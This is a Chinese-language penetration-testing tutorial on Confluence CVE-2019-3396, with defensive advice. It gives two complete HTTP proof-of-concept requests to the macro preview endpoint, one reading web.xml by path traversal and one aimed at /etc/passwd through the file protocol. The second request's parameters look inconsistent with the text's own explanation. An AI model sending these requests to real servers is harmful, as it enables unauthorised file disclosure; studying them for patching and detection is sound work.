渗透测试 | Confluence漏洞总结
字数 1002 2025-08-20 18:17:42
Confluence漏洞分析与利用教学文档
1. Confluence简介
Atlassian Confluence是企业广泛使用的wiki系统,基于Struts架构开发,在各大企业中被广泛使用。
2. CVE-2019-3396漏洞分析
2.1 漏洞概述
- 影响版本:Confluence 6.14.2之前版本
- 漏洞类型:未授权目录穿越漏洞
- 危害:可读取任意文件,或利用Velocity模板注入执行任意命令
2.2 漏洞原理
- 在预览功能中可以指定模板
- 系统未对模板路径和协议进行限制
- 可通过
file:///etc/passwd读取文件或https://...加载远程文件
2.3 RCE原理
- 系统使用Velocity模板
- 可通过远程加载模板文件实现模板注入
- 预览功能请求包中无
_template参数,需手动添加(白盒审计才能发现)
3. 模板获取方式
系统通过四种方式获取模板,主要利用以下两种:
-
FileResourceLoader
- 路径:velocity-1.6.4-atlassian-9.jar
- 通过文件名加载模板
- 不可跨目录加载(StringUtil.normalizePath过滤了/../)
-
ClasspathResourceLoader
- 通过file://等协议加载文件
- 先拼接类资源路径WebappPath
- 当WebappPath打开流失败时,调用catalina.jar中的WebappClassLoaderBase.class父类findResource获取URL
4. 环境搭建
使用vulhub环境进行复现:
- 访问
http://your-ip:8090进入安装引导 - 选择"Trial installation"
- 申请Confluence Server测试证书(不要选择Data Center和Addons)
- 填写数据库信息
5. 漏洞利用
5.1 读取web.xml文件POC
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
5.2 利用file协议读取本地任意文件
Confluence 6.12之前版本未限制文件读取协议和路径:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 184
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"file:///etc/passwd","width":"1000","height":"1000","_template":"../web.xml"}}}
6. 防御措施
- 升级到Confluence 6.14.2或更高版本
- 限制模板加载的路径和协议
- 实施严格的输入验证
- 对Velocity模板渲染进行安全配置
7. 学习要点
- Velocity模板注入原理
- 变量覆盖漏洞利用方式
- 目录穿越漏洞的检测方法
- 白盒审计技巧(发现隐藏参数)